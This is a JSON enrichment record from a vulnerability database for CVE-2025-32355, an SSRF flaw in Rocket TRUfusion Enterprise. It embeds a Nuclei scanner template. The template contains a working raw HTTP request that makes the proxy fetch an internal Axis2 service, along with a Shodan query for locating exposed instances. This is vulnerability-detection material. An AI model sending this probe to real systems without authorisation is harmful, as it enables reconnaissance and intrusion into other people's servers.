{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-32355/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-32355/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-32355/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-32355/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-32355/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-32355/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-32355"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-32355"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-32355.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-32355\n\ninfo:\n  name: Rocket TRUfusion Enterprise - Server Side Request Forgery\n  author: princechaddha,rcesecurity,DhiyaneshDk\n  severity: high\n  description: |\n    Rocket TRUfusion Enterprise through 7.10.4.0 uses a reverse proxy to handle incoming connections. However, the proxy is misconfigured in a way that allows specifying absolute URLs in the HTTP request line, causing the proxy to load the given resource.\n  impact: |\n    Attackers can make the proxy load arbitrary resources, potentially leading to information disclosure or further attacks.\n  remediation: |\n    Update to the latest version with proxy configuration fixes.\n  reference:\n    - https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-32355\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: 'html:\"TRUfusion Enterprise\"'\n  tags: cve,cve2025,rocket,trufusion,ssrf,vkev\n\nhttp:\n  - raw:\n      - |+\n        GET http://127.0.0.1:8080/axis2/services/listServices HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n        Accept-Encoding: gzip, deflate, br\n        Accept-Language: en-US,en;q=0.5\n        Connection: keep-alive\n\n    unsafe: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Available services\"\n          - \"Service Description\"\n        condition: or\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100d22c369adcde5e8a0233a677059527b3e17ad15df2348701f90a7b3f6d8337a8022005500565a64099330d8511b9ff4e3a0eec815cb801c8a92d3a57536d31e540d2:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-32355"}